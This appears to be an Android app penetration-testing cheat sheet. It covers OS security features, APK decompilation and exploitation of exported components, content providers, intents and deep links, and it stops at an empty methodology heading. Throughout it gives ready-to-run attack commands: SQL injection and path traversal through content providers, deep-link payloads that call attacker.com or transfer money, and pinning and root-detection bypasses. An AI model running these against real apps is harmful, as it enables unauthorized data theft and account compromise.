Legend:
[APK]= APK level |[ADB]= Android Debug Bridge |[DAST]= Dynamic Analysis |[SAST]= Static Analysis |[COMP]= Android Component |[VULN]= Vulnerability |[BYPASS]= Security Bypass |[OPSEC]= Stealth note
1. About Android & Android OS
What it means: Android is a Linux-based mobile OS developed by Google. Understanding its architecture is fundamental to finding vulnerabilities — the OS enforces security at the kernel, middleware, and application layer simultaneously.
1.1 Android Architecture Stack
┌──────────────────────────────────────────────────────────┐
│ Layer 5: Applications │
│ Gmail, Chrome, WhatsApp, YOUR_TARGET_APP │
├──────────────────────────────────────────────────────────┤
│ Layer 4: Application Framework │
│ Activity Manager, Package Manager, Content Providers │
│ Location Manager, Notification Manager, WindowManager │
├──────────────────────────────────────────────────────────┤
│ Layer 3: Android Runtime + Native Libraries │
│ ART (Android Runtime) — runs .dex bytecode │
│ Bionic libc, OpenSSL, SQLite, WebKit │
├──────────────────────────────────────────────────────────┤
│ Layer 2: Hardware Abstraction Layer (HAL) │
│ Camera, Bluetooth, GPS, Audio drivers │
├──────────────────────────────────────────────────────────┤
│ Layer 1: Linux Kernel │
│ Process isolation, Memory mgmt, SELinux, Drivers │
└──────────────────────────────────────────────────────────┘
1.2 Android Versions & API Levels
Version API Level Key Security Changes
──────────────────────────────────────────────────────────
Android 6.0 23 Runtime permissions
Android 7.0 24 Network Security Config
Android 8.0 26 Background service limits
Android 9.0 28 Cleartext traffic blocked by default
Android 10 29 Scoped storage
Android 11 30 One-time permissions, auto-reset
Android 12 31 Approximate location, intent mutability
Android 13 33 Granular media permissions
Android 14 34 Photo picker, enhanced intent filters
Android 15 35 Health Connect, enhanced privacy
Target SDK matters for pentesting:
targetSdk < 28 = cleartext HTTP allowed (unless restricted) targetSdk < 23 = all permissions granted at install (no runtime)
1.3 Android Security Model
Key principles:
┌─────────────────────────────────────────────────────┐
│ 1. App Sandbox │
│ Each app runs as unique Linux UID │
│ Isolated filesystem: /data/data/<package>/ │
│ Cannot access other app's data by default │
│ │
│ 2. Permission Model │
│ Declared in AndroidManifest.xml │
│ Runtime permissions (API 23+) for dangerous │
│ Normal permissions auto-granted at install │
│ │
│ 3. SELinux (MAC) │
│ Mandatory Access Control at kernel level │
│ Enforcing mode on all modern Android │
│ Even root processes restricted by SELinux │
│ │
│ 4. Verified Boot │
│ dm-verity checks partition integrity at boot │
│ Detects tampering of system partition │
└─────────────────────────────────────────────────────┘
2. Android Security Features
What it means: Android has multiple layered security controls that pentesters must understand to find bypasses and vulnerabilities. Each feature has known weaknesses or misconfigurations that lead to real vulnerabilities.
2.1 Application Sandbox
Every app has:
Unique Linux UID (e.g., u0_a123)
Private directory: /data/data/com.target.app/
├── databases/ ← SQLite DBs (check for sensitive data!)
├── shared_prefs/ ← XML preferences (often stores tokens!)
├── files/ ← app files
├── cache/ ← cached data
└── lib/ ← native libraries
Sandbox escape requires:
Root access (rooted device/emulator)
Kernel exploit
Other app with READ_EXTERNAL_STORAGE (for shared storage)
As pentester:
Root the test device/emulator → read any app's private files
adb shell → su → ls /data/data/com.target.app/
2.2 Permission System
Permission categories:
Normal → auto-granted at install (no user interaction)
e.g., INTERNET, ACCESS_NETWORK_STATE
Dangerous → requires explicit user approval (API 23+)
e.g., READ_CONTACTS, CAMERA, ACCESS_FINE_LOCATION
Signature → granted only if apps share same signing cert
e.g., inter-app communication within same company
SignatureOrSystem → dangerous — grants to system apps
Pentesting permissions:
Check AndroidManifest.xml for over-permissions
Check if EXPORT_STORAGE or dangerous perms are used
Test if runtime permissions are properly enforced
Common misconfig: requesting unnecessary dangerous permissions
e.g., a flashlight app requesting READ_CONTACTS
2.3 Network Security Config
<!-- res/xml/network_security_config.xml -->
<!-- Controls SSL/TLS behavior for the app -->
<!-- SECURE (default API 28+): no cleartext, system CAs only -->
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system"/>
</trust-anchors>
</base-config>
</network-security-config>
<!-- VULNERABLE: allows cleartext HTTP -->
<base-config cleartextTrafficPermitted="true"/>
<!-- VULNERABLE: trusts user-installed CAs (proxy interception!) -->
<base-config>
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/> ← allows Burp cert → intercept!
</trust-anchors>
</base-config>
<!-- VULNERABLE: pins disabled for debug builds -->
<debug-overrides>
<trust-anchors>
<certificates src="user"/>
</trust-anchors>
</debug-overrides>
2.4 Certificate Pinning
What it means: App validates server certificate against
hardcoded value — not just trusting system CA store.
Prevents MITM even with Burp cert installed.
Types:
Certificate Pinning → pin exact certificate bytes
Public Key Pinning → pin server's public key
SPKI Pinning → pin SubjectPublicKeyInfo hash
Pinning bypass methods:
1. Frida hook (most common) → hook SSL validation methods
2. Objection → automated pin bypass
3. apk-mitm → patch APK to disable pinning
4. SSLUnpinning Xposed module → framework-level hook
5. Manual APK patching (smali) → remove pin check code
6. Root + custom trust store → system-wide bypass
Check for pinning:
Look for: TrustManager, X509Certificate, checkServerTrusted
Libraries: OkHttp, Retrofit (CertificatePinner), Volley
2.5 Root Detection & Emulator Detection
// Common root detection checks apps perform:
// 1. Check for su binary
new File("/system/bin/su").exists()
new File("/system/xbin/su").exists()
// 2. Check for root management apps
getPackageManager().getPackageInfo("com.topjohnwu.magisk", 0)
getPackageManager().getPackageInfo("com.koushikdutta.superuser", 0)
// 3. Check build tags
Build.TAGS.contains("test-keys")
// 4. Check system properties
System.getProperty("ro.debuggable")
System.getProperty("ro.secure")
// Bypass root detection:
// Frida hook → return false for all checks
// Magisk Hide / DenyList → hide root from target app
// objection → android root disable
// Emulator detection checks:
Build.FINGERPRINT.startsWith("generic")
Build.MODEL.contains("Emulator")
Build.MANUFACTURER.contains("Genymotion")
Build.HARDWARE.contains("goldfish")
// Bypass emulator detection:
// Frida hook Build fields
// Use physical device
3. APK Structure
What it means: An APK (Android Package) is a ZIP archive. Understanding every file inside it is critical for static analysis — you can extract credentials, endpoints, keys, and misconfigurations without even running the app.
3.1 APK File Structure
target_app.apk (ZIP archive)
├── AndroidManifest.xml ← CRITICAL — components, perms, config
├── classes.dex ← compiled Dalvik bytecode
├── classes2.dex ← additional dex (multidex)
├── resources.arsc ← compiled resources (strings, layouts)
├── res/ ← uncompiled resources
│ ├── layout/ ← UI layouts (XML)
│ ├── drawable/ ← images
│ ├── values/ ← strings.xml, colors.xml
│ └── xml/ ← network_security_config.xml etc.
├── assets/ ← raw files (DBs, certs, scripts)
│ ├── databases/ ← pre-bundled SQLite DBs!
│ └── _.html /_ .js ← WebView content
├── lib/ ← native .so libraries
│ ├── arm64-v8a/
│ ├── armeabi-v7a/
│ └── x86/
├── META-INF/ ← signing certificates + manifest
│ ├── MANIFEST.MF
│ ├── CERT.SF
│ └── CERT.RSA ← signing certificate!
└── kotlin/ ← Kotlin metadata (if Kotlin app)
3.2 Extracting & Analyzing APK
# ─── Basic extraction ───
cp target.apk target.zip
unzip target.zip -d target_extracted/
# ─── Decompile with apktool (resources + smali) ───
apktool d target.apk -o target_decompiled/
# Gets: decoded AndroidManifest.xml, smali code, decoded resources
# ─── Decompile to Java with jadx ───
jadx -d target_java/ target.apk
jadx-gui target.apk # GUI — recommended!
# ─── Decompile pipeline ───
# APK → dex2jar → .jar → jadx → Java source
d2j-dex2jar target.apk -o target.jar
jadx target.jar -d output/
# ─── Read AndroidManifest.xml ───
# Option 1: apktool (decoded)
apktool d target.apk && cat target/AndroidManifest.xml
# Option 2: ADB (from installed app)
adb shell dumpsys package com.target.app
# ─── Extract signing cert info ───
keytool -printcert -file META-INF/CERT.RSA
openssl pkcs7 -inform DER -in META-INF/CERT.RSA -noout -print_certs -text
3.3 AndroidManifest.xml — Pentesting Focus
<!-- HIGH VALUE items to check in AndroidManifest.xml -->
<!-- 1. Exported components (attack surface!) -->
<activity android:name=".AdminActivity"
android:exported="true"/> ← accessible to other apps!
<!-- 2. Debuggable flag (should be false in prod) -->
<application android:debuggable="true"/> ← VULNERABLE!
<!-- 3. Backup allowed (extract app data via adb backup) -->
<application android:allowBackup="true"/> ← VULNERABLE!
<!-- 4. Cleartext traffic -->
<application android:usesCleartextTraffic="true"/> ← HTTP allowed!
<!-- 5. Intent filters (defines implicit intent receivers) -->
<activity android:name=".DeepLinkActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="open"/>
</intent-filter>
</activity>
<!-- 6. Dangerous permissions -->
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<!-- 7. Custom permissions (often too permissive) -->
<permission android:name="com.target.CUSTOM_PERM"
android:protectionLevel="normal"/> ← any app can request!
3.4 Static Analysis Targets in APK
# ─── Search for hardcoded secrets ───
grep -r "api_key\|apikey\|secret\|password\|token\|AWS\|firebase" \
target_decompiled/ --include="*.xml" --include="*.java" -i
# ─── Search in strings.xml ───
cat target_decompiled/res/values/strings.xml | grep -i "key\|secret\|token\|url"
# ─── Search for HTTP endpoints ───
grep -r "http://\|https://" target_decompiled/ -h | sort -u
# ─── Search for IP addresses ───
grep -rE "\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b" \
target_decompiled/
# ─── Find SQLite database files ───
find target_extracted/ -name "*.db" -o -name "*.sqlite"
# ─── Find private keys / certificates ───
find target_extracted/ -name "*.pem" -o -name "*.p12" \
-o -name "*.bks" -o -name "*.jks" -o -name "*.key"
# ─── Check assets for sensitive files ───
ls -la target_extracted/assets/
file target_extracted/assets/*
4. Android Development Basics
What it means: Understanding how Android apps are built helps you know where vulnerabilities live. Apps can be Native (Java/Kotlin), have Native Code (C/C++ via JNI), use WebViews (JavaScript bridge), or use cross-platform frameworks.
4.1 Native Apps (Java / Kotlin)
// Java/Kotlin apps — compile to .dex bytecode
// Fully reversible with jadx → near-original Java source
// Common vulnerability patterns in Java code:
// 1. Hardcoded credentials
String API_KEY = "sk-1234567890abcdef"; // hardcoded!
// 2. Insecure SharedPreferences
SharedPreferences prefs = getSharedPreferences("userdata", MODE_WORLD_READABLE);
prefs.edit().putString("password", password).apply(); // world readable!
// 3. SQL injection in ContentProvider
String query = "SELECT * FROM users WHERE name = '" + userInput + "'"; // SQLi!
// 4. Insecure logging
Log.d("DEBUG", "Token: " + authToken); // logged to logcat!
// 5. WebView JavaScript enabled with file access
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true); // dangerous!
4.2 Native Code (JNI / NDK)
Native code = C/C++ compiled to .so (shared object) files
Lives in: lib/
Why it matters for pentesting:
→ Harder to reverse engineer than .dex (no jadx decompilation)
→ Requires Ghidra / IDA Pro / Radare2 for analysis
→ Often contains cryptographic operations
→ May have memory corruption bugs (BOF, UAF)
→ Obfuscation more effective in native code
JNI Bridge:
Java calls native methods via JNI:
public native String nativeDecrypt(String key, byte[] data);
→ Look for System.loadLibrary() calls
→ .so exports: Java_
Analysis:
strings lib/arm64-v8a/libnative.so | grep -i "key|secret|url"
ghidra → import .so → decompile → find encryption keys
frida → hook native functions dynamically
4.3 JavaScript & WebViews
// WebView is a HUGE attack surface — essentially a browser in the app
// ─── Dangerous WebView configurations ───
// 1. JavaScript enabled (required for many apps — check for interface)
webView.getSettings().setJavaScriptEnabled(true);
// 2. JavaScript Interface (bridge JS → Java) — XSS → RCE!
webView.addJavascriptInterface(new MyInterface(this), "Android");
// If XSS exists in loaded URL → attacker can call Android.* methods!
@JavascriptInterface
public String getSecretToken() {
return secretToken; // accessible from JavaScript!
}
// 3. File access (local file read via XSS!)
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true); // critical!
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // critical!
// 4. Loading untrusted URLs
webView.loadUrl(getIntent().getStringExtra("url")); // open redirect!
// ─── Pentesting WebViews ───
// Check if URL can be controlled via intent extras → open redirect
// Find JavascriptInterface methods → callable from JS context
// Test for XSS in loaded content → call interface methods
// If file access + XSS → read /data/data/com.target.app/databases/
4.4 Application Frameworks (Cross-Platform)
React Native:
JS code in: assets/index.android.bundle
Extract: unzip apk → assets/index.android.bundle
Analyze: javascript code visible (often not obfuscated!)
Look for: hardcoded API keys, endpoints, secrets in JS
Flutter:
Compiled to native ARM bytecode (harder to reverse)
Use: blutter, reFlutter tools for reversing
Network traffic: standard HTTPS (intercept with Burp)
Snapshot: libapp.so → disassemble with Ghidra
Xamarin:
.NET assemblies in: assemblies/ folder
Decompile with: ILSpy, dnSpy, dotPeek
Nearly identical to regular .NET reversing
Cordova/PhoneGap:
Web assets in: assets/www/
Pure HTML/JS/CSS → trivially readable!
Look for: API keys in *.js, hardcoded credentials
Ionic:
Similar to Cordova — web assets in assets/
Check: www/assets/environments/environment.prod.js
Often contains API endpoints and keys
5. Activities
What it means: Activities are the UI screens of an Android app. Exported activities can be launched by other apps or via ADB without authentication — bypassing login screens, accessing admin panels, or triggering deep link handlers directly.
5.1 What is an Activity
Activity = single screen with UI
Lifecycle: onCreate → onStart → onResume → [running]
→ onPause → onStop → onDestroy
From pentesting perspective:
Exported activity = accessible by external apps/ADB
Intent data passed to activity = potential injection point
Result returned by activity = potential data leakage
5.2 Exported Activity Exploitation
# ─── Find exported activities ───
# In AndroidManifest.xml:
# android:exported="true" OR has intent-filter (auto-exported pre-API 31)
# ─── Launch exported activity via ADB ───
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.LoginBypassActivity
adb shell am start -n com.target.app/com.target.app.ui.SettingsActivity
# ─── Launch with intent extras ───
adb shell am start -n com.target.app/.WebViewActivity \
-e url "http://attacker.com/xss.html"
adb shell am start -n com.target.app/.DeepLinkActivity \
--es "token" "admin_token_here"
# ─── Launch with specific action ───
adb shell am start \
-a android.intent.action.VIEW \
-d "myapp://admin/panel" \
-n com.target.app/.DeepLinkActivity
# ─── Using drozer ───
dz> run app.activity.info -a com.target.app # list all activities
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity \
--extra string token "admin"
5.3 Task Hijacking (StrandHogg)
StrandHogg / Task Affinity Attack:
If app has:
android:taskAffinity="" (empty) +
android:allowTaskReparenting="true"
Malicious app can:
1. Launch before legitimate app
2. Appear on top of legit app's task stack
3. User sees fake UI (phishing!) on top of legit app
4. Credentials entered go to attacker
Check in manifest:
taskAffinity + allowTaskReparenting combination
launchMode="singleTask" with wrong affinity
StrandHogg 2.0 (CVE-2020-0096):
Uses reflection to set affinity → no manifest declaration needed
Affects Android < 9 (patched in May 2020 security update)
6. Services
What it means: Services run background operations without UI — music playback, sync operations, push notifications. Exported services accept commands from other apps, creating privilege escalation and unauthorized access opportunities.
6.1 Types of Services
Started Service → runs until stopped, no communication
Bound Service → binds to component, supports IPC via Binder
IntentService → deprecated, single-threaded started service
Foreground Service → user-visible notification, higher priority
JobService → scheduled background work (modern replacement)
6.2 Exported Service Exploitation
# ─── Find exported services ───
# grep for: <service android:exported="true" in AndroidManifest.xml
# ─── Start exported service via ADB ───
adb shell am startservice -n com.target.app/.BackgroundSyncService
adb shell am startservice -n com.target.app/.DataExportService
# ─── Start with extras ───
adb shell am startservice -n com.target.app/.AdminService \
--es "action" "deleteAllUsers"
adb shell am startservice -n com.target.app/.FileService \
--es "path" "/data/data/com.target.app/databases/main.db" \
--es "dest" "/sdcard/stolen.db"
# ─── Using drozer ───
dz> run app.service.info -a com.target.app
dz> run app.service.start --component com.target.app com.target.app.AdminService \
--extra string command "export_data"
# ─── Check if service handles sensitive operations ───
# Look in decompiled code for:
# - onStartCommand() handling
# - Intent extra parsing
# - File operations based on intent data
# - Network calls triggered by service start
7. Broadcast Receivers
What it means: Broadcast Receivers listen for system or custom events (broadcast intents). Exported receivers can be triggered by any app — potentially causing sensitive operations, bypassing authentication, or leaking data via ordered broadcasts.
7.1 Types of Broadcasts
Normal Broadcast → sent to all receivers simultaneously
Ordered Broadcast → receivers process in priority order (can be aborted!)
Sticky Broadcast → deprecated, persists after send
Local Broadcast → within same app only (secure)
Security issues:
Exported receiver + no permission check = any app can trigger it
Ordered broadcast = receiver can modify/abort data
Sensitive data in broadcast extras = interceptable
7.2 Broadcast Receiver Exploitation
# ─── Find exported receivers ───
# In manifest: <receiver android:exported="true">
# ─── Send broadcast via ADB ───
adb shell am broadcast -a com.target.app.ADMIN_ACTION
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es "username" "admin"
# ─── Trigger system broadcasts ───
adb shell am broadcast -a android.intent.action.BOOT_COMPLETED
adb shell am broadcast -a android.net.conn.CONNECTIVITY_CHANGE
# ─── Intercept ordered broadcasts (drozer) ───
dz> run app.broadcast.info -a com.target.app
dz> run app.broadcast.send --component com.target.app \
com.target.app.SENSITIVE_RECEIVER --extra string data "injected"
# ─── Dynamic receiver sniffing (intercept broadcasts) ───
dz> run scanner.misc.writablefiles -p com.target.app
7.3 Common Broadcast Vulnerabilities
-
SMS OTP interception:
App registers receiver for SMS_RECEIVED → read OTPs
Check: READ_SMS permission in manifest -
Boot receiver persistence:
BOOT_COMPLETED receiver → starts malicious service at boot
Check: android.permission.RECEIVE_BOOT_COMPLETED -
Authentication bypass:
Exported receiver triggers "logged_in" state change
Send broadcast → bypass auth -
Data leakage in broadcast:
App sends broadcast with PII as extras
Other apps intercept → data leak
8. Content Providers
What it means: Content Providers expose structured app data (usually SQLite databases) via a URI-based interface. Exported providers are one of the most critical vulnerabilities in Android — they can expose an entire SQLite database to any app on the device, or to an attacker via ADB.
8.1 Content Provider Basics
URI format: content://
Example: content://com.target.app.provider/users
content://com.target.app.provider/users/1
Operations:
query() → SELECT (read data)
insert() → INSERT
update() → UPDATE
delete() → DELETE
If exported without permission:
Any app → query all user data
Any app → insert/delete/update records
ADB → full database access
8.2 Content Provider Exploitation
# ─── Find exported providers ───
# In manifest: <provider android:exported="true"
# OR: <provider android:grantUriPermissions="true"
# ─── Query via ADB ───
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users/1
adb shell content query --uri content://com.target.app.provider/notes \
--projection "id,title,content"
# ─── Insert via ADB ───
adb shell content insert --uri content://com.target.app.provider/users \
--bind name:s:"hacker" --bind role:s:"admin"
# ─── SQL Injection in Content Provider ───
# selection parameter is vulnerable if not sanitized:
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1--"
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1 UNION SELECT name,password,3,4 FROM users--"
# ─── Using drozer ───
dz> run app.provider.info -a com.target.app
dz> run app.provider.query content://com.target.app.provider/users
dz> run app.provider.query content://com.target.app.provider/users \
--selection "1=1--"
dz> run scanner.provider.injection -a com.target.app # auto SQLi scan
dz> run scanner.provider.traversal -a com.target.app # path traversal
# ─── Path Traversal in FileProvider ───
adb shell content read --uri content://com.target.app.fileprovider/../../databases/main.db \
> /tmp/main.db
# Try: ../../../etc/passwd (if misconfigured)
8.3 FileProvider Misconfiguration
<!-- Secure FileProvider config -->
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="com.target.app.fileprovider"
android:exported="false" ← NOT exported
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>
</provider>
<!-- file_paths.xml — what's accessible -->
<!-- VULNERABLE: exposes entire filesystem! -->
<paths>
<root-path name="root" path="/"/> ← ENTIRE FS EXPOSED!
</paths>
<!-- SECURE: expose only specific directory -->
<paths>
<files-path name="shared_files" path="shared/"/>
</paths>
9. Intents
What it means: Intents are the messaging system of Android — they carry data between components. Intent injection, insecure intent handling, and PendingIntent vulnerabilities are among the most common Android app vulnerabilities.
9.1 Intent Types
Explicit Intent:
→ Directly specifies target component (activity/service)
→ Used for internal app communication
Intent i = new Intent(this, TargetActivity.class);
Implicit Intent:
→ Specifies action, let system find handler
→ Can be intercepted by malicious apps!
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse("http://example.com"));
Pending Intent:
→ Deferred intent executed by another process
→ If mutable and no component specified → hijackable!
9.2 Intent Interception
// App sending sensitive data via implicit intent:
Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.putExtra(Intent.EXTRA_TEXT, "secret_token_here");
// → ANY app registered for ACTION_SEND can receive this!
// Secure: use explicit intent or FLAG_ACTIVITY_NEW_TASK
Intent secure = new Intent(this, TargetActivity.class);
secure.putExtra("token", token);
9.3 Intent Injection (via Exported Components)
# Inject malicious intent via exported component
# Target: exported activity that starts another activity from intent extra
adb shell am start -n com.target.app/.ProxyActivity \
--es "target_intent" "com.target.app/.AdminActivity"
# WebView loading URL from intent
adb shell am start -n com.target.app/.WebViewActivity \
-d "javascript:alert(document.cookie)"
# File path injection
adb shell am start -n com.target.app/.FileViewActivity \
--es "filepath" "/data/data/com.target.app/shared_prefs/userdata.xml"
9.4 PendingIntent Vulnerability
// VULNERABLE: Implicit mutable PendingIntent
Intent baseIntent = new Intent(); // no action, no component!
PendingIntent pi = PendingIntent.getActivity(
context, 0, baseIntent,
PendingIntent.FLAG_MUTABLE // ← mutable = hijackable!
);
// If this PI is passed to another app → that app fills in action/component!
// SECURE:
Intent baseIntent = new Intent(context, TargetActivity.class); // explicit
PendingIntent pi = PendingIntent.getActivity(
context, 0, baseIntent,
PendingIntent.FLAG_IMMUTABLE // ← immutable
);
10. Binders
What it means: The Binder is Android's core IPC (Inter-Process Communication) mechanism. Bound services expose a Binder interface — remote procedure calls across app process boundaries. Insecure Binder implementations allow unauthorized IPC calls.
10.1 Binder Architecture
┌─────────────────────────────────────────────────────────┐
│ Client App │ Server App (Service) │
│ │ │
│ bindService() ───────────→│ onBind() → returns IBinder │
│ ServiceConnection │ │
│ onServiceConnected() │ Stub (server side) │
│ → gets IBinder reference │ onTransact() handler │
│ │ │
│ Proxy (client side) ←────→│ Binder Driver (kernel) │
│ → call remote methods │ /dev/binder │
└─────────────────────────────────────────────────────────┘
10.2 Binder Security Issues
// VULNERABLE: No permission check in Binder service
public class VulnerableService extends Service {
private final IBinder binder = new LocalBinder();
public class LocalBinder extends Binder {
public void deleteAllUsers() {
db.execSQL("DELETE FROM users"); // no auth check!
}
public String getAdminToken() {
return sharedPrefs.getString("admin_token", ""); // leaks token!
}
}
@Override
public IBinder onBind(Intent intent) {
return binder; // anyone who binds gets these methods!
}
}
// SECURE: Check calling UID
@Override
public void deleteAllUsers() {
if (Binder.getCallingUid() != AUTHORIZED_UID) {
throw new SecurityException("Unauthorized");
}
db.execSQL("DELETE FROM users");
}
10.3 Analyzing Binders with Drozer
# Enumerate bound services
dz> run app.service.info -a com.target.app
# Interact with service binder (if accessible)
dz> run app.service.start --component com.target.app com.target.app.BinderService
# Custom binder interaction via Frida
# Hook onTransact() to observe all IPC calls
11. Deep Links
What it means: Deep links are URIs (URL schemes) that launch specific app activities directly. They are a major attack surface — malicious websites, QR codes, or apps can send deep links with injected parameters, leading to XSS, open redirects, or data theft.
11.1 Deep Link Types
Custom Scheme: myapp://action/parameter
App Links: https://www.example.com/path (verified domain)
Android App Links: verified HTTPS scheme (more secure)
Declared in manifest:
Note: android:autoVerify="true" = App Links (domain verified)
No autoVerify = custom scheme (any app can handle!)
11.2 Deep Link Exploitation
# ─── Enumerate deep links ───
# Search manifest for intent-filters with scheme
grep -A 10 "intent-filter" AndroidManifest.xml | grep "scheme\|host\|pathPrefix"
# ─── Trigger deep link via ADB ───
adb shell am start -a android.intent.action.VIEW \
-d "myapp://login?token=INJECTED_TOKEN"
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=http://attacker.com"
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(1)"
# ─── Deep link to bypass authentication ───
adb shell am start -a android.intent.action.VIEW \
-d "myapp://admin/dashboard" # direct access to admin area
# ─── Parameter injection ───
# URL:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1&to=attacker@evil.com"
# ─── Open redirect via deep link ───
adb shell am start -a android.intent.action.VIEW \
-d "myapp://redirect?url=http://phishing.com"
11.3 Deep Link Attack via Browser/HTML
<!-- From a webpage — trigger deep link in victim's browser -->
<a href="myapp://admin/reset?user=victim">Click me</a>
<!-- Auto-redirect -->
<meta http-equiv="refresh" content="0; url=myapp://admin/action">
<!-- JavaScript redirect -->
<script>
window.location = "myapp://transfer?amount=9999&to=attacker";
</script>
<!-- iframe deep link (works in some browsers) -->
<iframe src="myapp://auth?token=bypass123" style="display:none"></iframe>
12. Android Emulators
What it means: Emulators are the primary testing environment for Android pentesting. A properly configured rooted emulator with Burp cert installed and SSL unpinning enabled is the foundation of every Android assessment.
12.1 Emulator Options
Android Studio AVD (Official):
Best compatibility, official Google emulator
Supports Google Play images (test real apps)
Use x86_64 image for best performance
Genymotion:
Commercial (free personal use)
Faster than AVD, better snapshots
Pre-rooted → easy ADB root access
Built-in Burp cert installation
WSA (Windows Subsystem for Android):
Windows 11 built-in Android subsystem
Limited pentesting support
Physical Device (Best OPSEC):
Real-world behavior
Root via Magisk
12.2 Setup Rooted Emulator for Pentesting
# ─── Start emulator (no snapshot, writable system) ───
# List available AVDs
emulator -list-avds
# Start with writable system partition
emulator -avd Pixel_6_API_33 -writable-system &
# ─── Root access ───
adb root # enable root ADB (works on AOSP images)
adb remount # remount /system as writable
# ─── Install Burp Certificate (System-level) ───
# Export Burp cert: Proxy → Options → Export CA Cert → DER format
# Convert to PEM
openssl x509 -inform DER -in burp_cert.der -out burp_cert.pem
# Get the hash filename Android expects
HASH=$(openssl x509 -inform PEM -subject_hash_old -in burp_cert.pem | head -1)
cp burp_cert.pem ${HASH}.0
# Push to system trusted certs (requires root + writable system)
adb root && adb remount
adb push ${HASH}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${HASH}.0
adb reboot
# ─── Configure Burp proxy on emulator ───
# Android Settings → WiFi → Long press → Proxy → Manual
# Host: 10.0.2.2 (emulator's host machine), Port: 8080
# ─── Or use proxydroid / ProxyDroid app ───
# Global proxy without per-network config
# ─── Frida setup ───
# Download frida-server for Android (match arch)
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# Verify
frida-ps -U # list running processes on device
12.3 Useful Emulator Commands
# ─── Install APK ───
adb install target.apk
adb install -r target.apk # replace existing
adb install-multiple *.apk # split APKs
# ─── Pull APK from device ───
adb shell pm path com.target.app
adb pull /data/app/com.target.app-1/base.apk ./target.apk
# ─── File operations ───
adb push local_file /sdcard/
adb pull /data/data/com.target.app/databases/main.db .
# ─── Emulator snapshots ───
# Save clean state before pentesting
emulator -avd TestDevice -snapshot-list
adb emu avd snapshot save clean_state
adb emu avd snapshot load clean_state
13. Android Debug Bridge (ADB)
What it means: ADB is the Swiss Army knife of Android pentesting. It provides a bridge between your machine and an Android device/emulator — file transfer, shell access, app installation, logcat, port forwarding, and more.
13.1 ADB Setup & Connection
# ─── Check ADB status ───
adb devices # list connected devices
adb version # ADB version
# ─── Connect to emulator ───
adb connect 127.0.0.1:5554 # AVD default port
adb connect 192.168.1.100:5555 # physical device (TCP/IP)
# ─── Enable TCP/IP mode on physical device ───
adb tcpip 5555
adb connect <device_ip>:5555
# ─── Select device (if multiple connected) ───
adb -s emulator-5554 shell
adb -s <serial> shell
# ─── Restart as root ───
adb root # restart ADB daemon as root (AOSP only)
adb shell su # switch to root in shell
13.2 ADB Shell Commands
# ─── Basic shell ───
adb shell # interactive shell
adb shell <command> # single command
# ─── App management ───
adb shell pm list packages # list all packages
adb shell pm list packages -3 # 3rd party only
adb shell pm list packages | grep target
adb shell pm dump com.target.app # full package info
adb shell am start -n com.target.app/.MainActivity
# ─── Process info ───
adb shell ps -A | grep com.target
adb shell cat /proc/<pid>/maps # memory maps
# ─── File system ───
adb shell ls -la /data/data/com.target.app/
adb shell ls -la /data/data/com.target.app/databases/
adb shell ls -la /data/data/com.target.app/shared_prefs/
adb shell cat /data/data/com.target.app/shared_prefs/userdata.xml
# ─── SQLite database access ───
adb shell sqlite3 /data/data/com.target.app/databases/main.db
sqlite> .tables
sqlite> SELECT * FROM users;
sqlite> .dump # dump all data
# ─── Logcat (real-time app logs) ───
adb logcat # all logs
adb logcat -s "com.target.app" # filter by tag
adb logcat | grep -i "password\|token\|key\|secret"
adb logcat -v threadtime > logcat.txt # save to file
adb logcat --pid=$(adb shell pidof com.target.app) # filter by PID
# ─── Network ───
adb shell netstat -an # open connections
adb shell ip addr show # network interfaces
adb shell cat /etc/hosts
# ─── Port forwarding (for Frida, etc.) ───
adb forward tcp:27042 tcp:27042 # forward local → device
adb reverse tcp:8080 tcp:8080 # forward device → local (for proxy)
13.3 ADB Pentesting Workflow
# ─── Full info dump on installed app ───
PKG="com.target.app"
echo "=== Package Info ===" && adb shell pm dump $PKG
echo "=== APK Path ===" && adb shell pm path $PKG
echo "=== Shared Prefs ===" && adb shell ls /data/data/$PKG/shared_prefs/
echo "=== Databases ===" && adb shell ls /data/data/$PKG/databases/
echo "=== Files ===" && adb shell ls /data/data/$PKG/files/
# ─── Backup app data (if allowBackup=true) ───
adb backup -noapk com.target.app # creates backup.ab
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; \
sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
| tar -xv # extract backup contents
# ─── Monkey testing (find crashes) ───
adb shell monkey -p com.target.app --throttle 200 -v 500
14. Pentesting Methodology & Tools
What it means: A structured Android pentesting methodology ensures you don't miss vulnerabilities. The approach combines static analysis (code review), dynamic analysis (runtime behavior), and network traffic analysis.
14.1 Android Pentesting Methodology
